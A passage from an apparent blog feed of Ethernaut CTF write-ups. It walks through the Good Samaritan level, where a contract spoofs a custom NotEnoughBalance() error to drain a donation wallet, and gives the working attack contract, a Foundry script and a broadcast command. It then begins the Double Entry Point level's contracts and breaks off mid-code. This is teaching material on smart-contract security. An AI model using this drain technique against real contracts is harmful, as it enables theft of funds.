        <span class="hljs-keyword">try</span> wallet.donate10(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>) {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
        } <span class="hljs-keyword">catch</span> (<span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> err) {
            <span class="hljs-keyword">if</span> (
                <span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"NotEnoughBalance()"</span>)) <span class="hljs-operator">=</span><span class="hljs-operator">=</span>
                <span class="hljs-built_in">keccak256</span>(err)
            ) {
                <span class="hljs-comment">// send the coins left</span>
                wallet.transferRemainder(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
                <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
            }
        }
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Coin</span> </span>{
    <span class="hljs-keyword">using</span> <span class="hljs-title">Address</span> <span class="hljs-title"><span class="hljs-keyword">for</span></span> <span class="hljs-title"><span class="hljs-keyword">address</span></span>;

    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint256</span>) <span class="hljs-keyword">public</span> balances;

    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">InsufficientBalance</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> current, <span class="hljs-keyword">uint256</span> required</span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> wallet_</span>) </span>{
        <span class="hljs-comment">// one million coins for Good Samaritan initially</span>
        balances[wallet_] <span class="hljs-operator">=</span> <span class="hljs-number">10</span> <span class="hljs-operator">*</span><span class="hljs-operator">*</span> <span class="hljs-number">6</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> dest_, <span class="hljs-keyword">uint256</span> amount_</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> currentBalance <span class="hljs-operator">=</span> balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>];

        <span class="hljs-comment">// transfer only occurs if balance is enough</span>
        <span class="hljs-keyword">if</span> (amount_ <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> currentBalance) {
            balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> amount_;
            balances[dest_] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> amount_;

            <span class="hljs-keyword">if</span> (dest_.isContract()) {
                <span class="hljs-comment">// notify contract</span>
                INotifyable(dest_).notify(amount_);
            }
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">revert</span> InsufficientBalance(currentBalance, amount_);
        }
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Wallet</span> </span>{
    <span class="hljs-comment">// The owner of the wallet instance</span>
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> owner;

    Coin <span class="hljs-keyword">public</span> coin;

    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">OnlyOwner</span>(<span class="hljs-params"></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">NotEnoughBalance</span>(<span class="hljs-params"></span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyOwner</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">!</span><span class="hljs-operator">=</span> owner) {
            <span class="hljs-keyword">revert</span> OnlyOwner();
        }
        <span class="hljs-keyword">_</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"></span>) </span>{
        owner <span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">donate10</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> dest_</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        <span class="hljs-comment">// check balance left</span>
        <span class="hljs-keyword">if</span> (coin.balances(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)) <span class="hljs-operator">&lt;</span> <span class="hljs-number">10</span>) {
            <span class="hljs-keyword">revert</span> NotEnoughBalance();
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-comment">// donate 10 coins</span>
            coin.<span class="hljs-built_in">transfer</span>(dest_, <span class="hljs-number">10</span>);
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transferRemainder</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> dest_</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        <span class="hljs-comment">// transfer balance left</span>
        coin.<span class="hljs-built_in">transfer</span>(dest_, coin.balances(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)));
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setCoin</span>(<span class="hljs-params">Coin coin_</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        coin <span class="hljs-operator">=</span> coin_;
    }
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">INotifyable</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">notify</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}
</code></pre>
<h2 id="heading-the-hack">The hack</h2>
<p>We are given three contracts in the <code>GoodSamaritan</code> level:</p>
<ol>
<li><p><strong>GoodSamaritan</strong> - The contract in charge of distributing the donations.</p>
</li>
<li><p><strong>Coin</strong> - A very minimalist token implementation handling the users' balances.</p>
</li>
<li><p><strong>Wallet</strong> - The wallet belonging to this good old sama.</p>
</li>
</ol>
<p>How to drain the good old Sama's wallet?</p>
<p>Let's check the <code>GoodSamaritan::requestDonation</code> function:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">requestDonation</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> enoughBalance</span>)</span>{
    <span class="hljs-comment">// donate 10 coins to requester</span>
    <span class="hljs-keyword">try</span> wallet.donate10(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>) {
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    } <span class="hljs-keyword">catch</span> (<span class="hljs-keyword">bytes</span> <span class="hljs-keyword">memory</span> err) {
        <span class="hljs-keyword">if</span> (<span class="hljs-built_in">keccak256</span>(<span class="hljs-built_in">abi</span>.<span class="hljs-built_in">encodeWithSignature</span>(<span class="hljs-string">"NotEnoughBalance()"</span>)) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-built_in">keccak256</span>(err)) {
            <span class="hljs-comment">// send the coins left</span>
            wallet.transferRemainder(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
            <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
        }
    }
}
</code></pre>
<p>From there, we can either:</p>
<ul>
<li><p>request 10 coins many, many, many times, or...</p>
</li>
<li><p>try to find a way to trigger the <code>transferRemainder</code> function to withdraw everything at once.</p>
</li>
</ul>
<p>So, because we are lazy, let's try to withdraw everything at once!</p>
<p>The <code>transferRemainder()</code> function is protected by the <code>onlyOwner</code> modifier, so the only way to trigger it is by reverting with the <code>NotEnoughBalance()</code> custom error.</p>
<p>So what happens exactly when we request a donation? The <code>Wallet::donnate10()</code> function is called:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">donate10</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> dest_</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title">onlyOwner</span> </span>{
    <span class="hljs-keyword">if</span> (coin.balances(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)) <span class="hljs-operator">&lt;</span> <span class="hljs-number">10</span>) {
        <span class="hljs-keyword">revert</span> NotEnoughBalance();
    } <span class="hljs-keyword">else</span> {
        coin.<span class="hljs-built_in">transfer</span>(dest_, <span class="hljs-number">10</span>);
    }
}
</code></pre>
<p>This function reverts with the <code>NotEnoughBalance()</code> error only if the wallet's balance is less than 10. Otherwise, it forwards the call to the <code>Coin::transfer</code> function.</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> dest_, <span class="hljs-keyword">uint256</span> amount_</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-keyword">uint256</span> currentBalance <span class="hljs-operator">=</span> balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>];

    <span class="hljs-keyword">if</span>(amount_ <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> currentBalance) {
        balances[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">-</span><span class="hljs-operator">=</span> amount_;
        balances[dest_] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> amount_;

        <span class="hljs-keyword">if</span>(dest_.isContract()) {
            INotifyable(dest_).notify(amount_);
        }
    } <span class="hljs-keyword">else</span> {
        <span class="hljs-keyword">revert</span> InsufficientBalance(currentBalance, amount_);
    }
}
</code></pre>
<p>This custom <code>transfer()</code> function is interesting because it calls the <code>INotifyable::notify</code> function if the destination address is a contract. And this relies on the <code>INotifyable</code> interface. So what if we implement the <code>INotifyable</code> interface to revert to the <code>NotEnoughBalance()</code> error if we receive 10 coins?</p>
<p>So the flow would be like this:</p>
<ol>
<li><p><code>GoodSamaritan::requestDonation()</code></p>
</li>
<li><p><code>Wallet::donate10()</code></p>
</li>
<li><p><code>Coin::transfer()</code></p>
</li>
<li><p><code>INotifyable::notify()</code></p>
</li>
<li><p><code>ThanksForTheNotif::revert NotEnoughBalance()</code></p>
</li>
<li><p><code>wallet::transferRemainder()</code></p>
</li>
</ol>
<p>Yes, that's right, a custom error thrown in a catch block from a try/catch can be thrown by any other contract since they are identified by their 4-byte selector!</p>
<p>There we have it. Upon receiving the notification from the donation, our contract will trigger a revert with the same custom error, which will have the same 4-byte selector, and pass the check in the <code>requestDonation()</code> function, triggering the <code>wallet.transferRemainder(msg.sender)</code> function.</p>
<p>Since custom errors are cheaper in gas than their <code>require()</code> alternatives, they have become best practice and this kind of hack in try/catch block might become more common.</p>
<h2 id="heading-solution">Solution</h2>
<p>Here is the <code>ThanksForTheNotif</code> contract that will do just that for us:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">INotifyable</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">notify</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IGoodOldSama</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">coin</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">wallet</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">address</span></span>)</span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">requestDonation</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">ICoin</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">balances</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">uint256</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">ThanksForTheNotif</span> </span>{
    IGoodOldSama <span class="hljs-keyword">private</span> goodOldSama;
    ICoin <span class="hljs-keyword">private</span> coin;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">private</span> wallet;

    <span class="hljs-function"><span class="hljs-keyword">error</span> <span class="hljs-title">NotEnoughBalance</span>(<span class="hljs-params"></span>)</span>;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> _goodOldSama</span>) </span>{
        goodOldSama <span class="hljs-operator">=</span> IGoodOldSama(_goodOldSama);
        coin <span class="hljs-operator">=</span> ICoin(goodOldSama.coin());
        wallet <span class="hljs-operator">=</span> goodOldSama.wallet();
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">notify</span>(<span class="hljs-params"><span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">pure</span></span> </span>{
        <span class="hljs-keyword">if</span> (amount <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">10</span>) {
            <span class="hljs-keyword">revert</span> NotEnoughBalance();
        }
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">attack</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        goodOldSama.requestDonation();
        <span class="hljs-built_in">require</span>(coin.balances(wallet) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>, <span class="hljs-string">"Attack failed!"</span>);
    }
}
</code></pre>
<p>Now, let's write a quick deployment script:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.20;</span>

<span class="hljs-keyword">import</span> {<span class="hljs-title">Script</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"forge-std/Script.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">ThanksForTheNotif</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../src/27_GoodSamaritan.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">PoC</span> <span class="hljs-keyword">is</span> <span class="hljs-title">Script</span> </span>{
    <span class="hljs-comment">// Replace with your GoodSamaritan instance</span>
    <span class="hljs-keyword">address</span> goodOldSama <span class="hljs-operator">=</span> <span class="hljs-number">0x19bd36accED359007B00Baf460Eb07045c3396BD</span>;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">run</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
        <span class="hljs-keyword">uint256</span> deployer <span class="hljs-operator">=</span> vm.envUint(<span class="hljs-string">"PRIVATE_KEY"</span>);
        vm.startBroadcast(deployer);

        ThanksForTheNotif thanksForTheNotif <span class="hljs-operator">=</span> <span class="hljs-keyword">new</span> ThanksForTheNotif(
            goodOldSama
        );
        thanksForTheNotif.attack();

        vm.stopBroadcast();
    }
}
</code></pre>
<p>The command to run the script:</p>
<pre><code class="lang-solidity">forge script script<span class="hljs-operator">/</span>27_GoodSamaritan.s.sol:PoC <span class="hljs-operator">-</span><span class="hljs-operator">-</span>rpc<span class="hljs-operator">-</span>url sepolia <span class="hljs-operator">-</span><span class="hljs-operator">-</span>broadcast <span class="hljs-operator">-</span><span class="hljs-operator">-</span>verify <span class="hljs-operator">-</span><span class="hljs-operator">-</span>etherscan<span class="hljs-operator">-</span>api<span class="hljs-operator">-</span>key $ETHERSCAN_API_KEY
</code></pre>
<p>🎉 Level completed 🎉</p>
<h2 id="heading-takeaway">Takeaway</h2>
<ul>
<li>Custom errors in a try/catch block can be thrown by any other contract since they are identified by their 4-byte selector.</li>
</ul>
<hr />
<p>You can find all the codes, challenges and their solutions on my GitHub: <a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/solutions/01_Fallback.md">https://github.com/Pedrojok01/Ethernaut-Solutions/</a></p>
]]></content:encoded></item><item><title><![CDATA[The Ethernaut CTF Solutions | 26 - Double Entry Point]]></title><description><![CDATA[Goals

The Contract
A pretty long code base this time, which is a good exercise to divide the task into smaller parts so we don't get overwhelmed. This is closer to a proper security review with multiple contracts and interactions between them. It al...]]></description><link>https://blog.pedrojok.com/the-ethernaut-ctf-solutions-26-double-entry-point</link><guid isPermaLink="true">https://blog.pedrojok.com/the-ethernaut-ctf-solutions-26-double-entry-point</guid><category><![CDATA[ethereum smart contracts]]></category><category><![CDATA[Ethernaut]]></category><category><![CDATA[ethereum security]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[Security]]></category><category><![CDATA[CTF]]></category><category><![CDATA[Web3 Security]]></category><dc:creator><![CDATA[Pierre E.]]></dc:creator><pubDate>Sun, 07 Apr 2024 17:00:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1713929124241/19923f88-cba2-4972-a84e-f0733cf7dd20.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-goals">Goals</h2>
<p><a target="_blank" href="https://github.com/Pedrojok01/Ethernaut-Solutions/blob/main/assets/requirements/26-doubleEntry-requirements.webp"><img src="https://github.com/Pedrojok01/Ethernaut-Solutions/raw/main/assets/requirements/26-doubleEntry-requirements.webp" alt /></a></p>
<h2 id="heading-the-contract">The Contract</h2>
<p>A pretty long code base this time, which is a good exercise to divide the task into smaller parts so we don't get overwhelmed. This is closer to a proper security review with multiple contracts and interactions between them. It also introduces us to the Forta bots, which are an important tool to increase the safety of the overall ecosystem.</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// SPDX-License-Identifier: MIT</span>
<span class="hljs-meta"><span class="hljs-keyword">pragma</span> <span class="hljs-keyword">solidity</span> ^0.8.0;</span>

<span class="hljs-comment">// import "openzeppelin-contracts-08/access/Ownable.sol";</span>
<span class="hljs-comment">// import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";</span>
<span class="hljs-keyword">import</span> {<span class="hljs-title">Ownable</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"../helpers/Ownable-05.sol"</span>;
<span class="hljs-keyword">import</span> {<span class="hljs-title">ERC20</span>} <span class="hljs-title"><span class="hljs-keyword">from</span></span> <span class="hljs-string">"@openzeppelin/contracts/token/ERC20/ERC20.sol"</span>;

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">DelegateERC20</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">delegateTransfer</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> to,
        <span class="hljs-keyword">uint256</span> value,
        <span class="hljs-keyword">address</span> origSender
    </span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>)</span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IDetectionBot</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handleTransaction</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> msgData</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">interface</span> <span class="hljs-title">IForta</span> </span>{
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setDetectionBot</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> detectionBotAddress</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">notify</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> msgData</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">raiseAlert</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span></span>;
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">Forta</span> <span class="hljs-keyword">is</span> <span class="hljs-title">IForta</span> </span>{
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> IDetectionBot) <span class="hljs-keyword">public</span> usersDetectionBots;
    <span class="hljs-keyword">mapping</span>(<span class="hljs-keyword">address</span> <span class="hljs-operator">=</span><span class="hljs-operator">&gt;</span> <span class="hljs-keyword">uint256</span>) <span class="hljs-keyword">public</span> botRaisedAlerts;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setDetectionBot</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> detectionBotAddress</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> </span>{
        usersDetectionBots[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">=</span> IDetectionBot(detectionBotAddress);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">notify</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user, <span class="hljs-keyword">bytes</span> <span class="hljs-keyword">calldata</span> msgData</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(usersDetectionBots[user]) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>)) <span class="hljs-keyword">return</span>;
        <span class="hljs-keyword">try</span> usersDetectionBots[user].handleTransaction(user, msgData) {
            <span class="hljs-keyword">return</span>;
        } <span class="hljs-keyword">catch</span> {}
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">raiseAlert</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> user</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(usersDetectionBots[user]) <span class="hljs-operator">!</span><span class="hljs-operator">=</span> <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>) <span class="hljs-keyword">return</span>;
        botRaisedAlerts[<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>] <span class="hljs-operator">+</span><span class="hljs-operator">=</span> <span class="hljs-number">1</span>;
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">CryptoVault</span> </span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> sweptTokensRecipient;
    IERC20 <span class="hljs-keyword">public</span> underlying;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> recipient</span>) </span>{
        sweptTokensRecipient <span class="hljs-operator">=</span> recipient;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">setUnderlying</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> latestToken</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-keyword">address</span>(underlying) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>), <span class="hljs-string">"Already set"</span>);
        underlying <span class="hljs-operator">=</span> IERC20(latestToken);
    }

    <span class="hljs-comment">/*
    ...
    */</span>

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">sweepToken</span>(<span class="hljs-params">IERC20 token</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> </span>{
        <span class="hljs-built_in">require</span>(token <span class="hljs-operator">!</span><span class="hljs-operator">=</span> underlying, <span class="hljs-string">"Can't transfer underlying token"</span>);
        token.<span class="hljs-built_in">transfer</span>(sweptTokensRecipient, token.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>)));
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">LegacyToken</span> <span class="hljs-keyword">is</span> <span class="hljs-title">ERC20</span>(<span class="hljs-params"><span class="hljs-string">"LegacyToken"</span>, <span class="hljs-string">"LGT"</span></span>), <span class="hljs-title">Ownable</span> </span>{
    DelegateERC20 <span class="hljs-keyword">public</span> delegate;

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">mint</span>(<span class="hljs-params"><span class="hljs-keyword">address</span> to, <span class="hljs-keyword">uint256</span> amount</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        _mint(to, amount);
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">delegateToNewContract</span>(<span class="hljs-params">DelegateERC20 newContract</span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title">onlyOwner</span> </span>{
        delegate <span class="hljs-operator">=</span> newContract;
    }

    <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">transfer</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> to,
        <span class="hljs-keyword">uint256</span> value
    </span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">override</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
        <span class="hljs-keyword">if</span> (<span class="hljs-keyword">address</span>(delegate) <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(<span class="hljs-number">0</span>)) {
            <span class="hljs-keyword">return</span> <span class="hljs-built_in">super</span>.<span class="hljs-built_in">transfer</span>(to, value);
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-keyword">return</span> delegate.delegateTransfer(to, value, <span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span>);
        }
    }
}

<span class="hljs-class"><span class="hljs-keyword">contract</span> <span class="hljs-title">DoubleEntryPoint</span> <span class="hljs-keyword">is</span>
    <span class="hljs-title">ERC20</span>(<span class="hljs-params"><span class="hljs-string">"DoubleEntryPointToken"</span>, <span class="hljs-string">"DET"</span></span>),
    <span class="hljs-title">DelegateERC20</span>,
    <span class="hljs-title">Ownable</span>
</span>{
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> cryptoVault;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> player;
    <span class="hljs-keyword">address</span> <span class="hljs-keyword">public</span> delegatedFrom;
    Forta <span class="hljs-keyword">public</span> forta;

    <span class="hljs-function"><span class="hljs-keyword">constructor</span>(<span class="hljs-params">
        <span class="hljs-keyword">address</span> legacyToken,
        <span class="hljs-keyword">address</span> vaultAddress,
        <span class="hljs-keyword">address</span> fortaAddress,
        <span class="hljs-keyword">address</span> playerAddress
    </span>) </span>{
        delegatedFrom <span class="hljs-operator">=</span> legacyToken;
        forta <span class="hljs-operator">=</span> Forta(fortaAddress);
        player <span class="hljs-operator">=</span> playerAddress;
        cryptoVault <span class="hljs-operator">=</span> vaultAddress;
        _mint(cryptoVault, <span class="hljs-number">100</span> <span class="hljs-literal">ether</span>);
    }

    <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">onlyDelegateFrom</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-built_in">require</span>(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> delegatedFrom, <span class="hljs-string">"Not legacy contract"</span>);
        <span class="hljs-keyword">_</span>;
    }

    <span class="hljs-function"><span class="hljs-keyword">modifier</span> <span class="hljs-title">fortaNotify</span>(<span class="hljs-params"></span>) </span>{
        <span class="hljs-keyword">address</span> detectionBot <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(forta.usersDetectionBots(player));

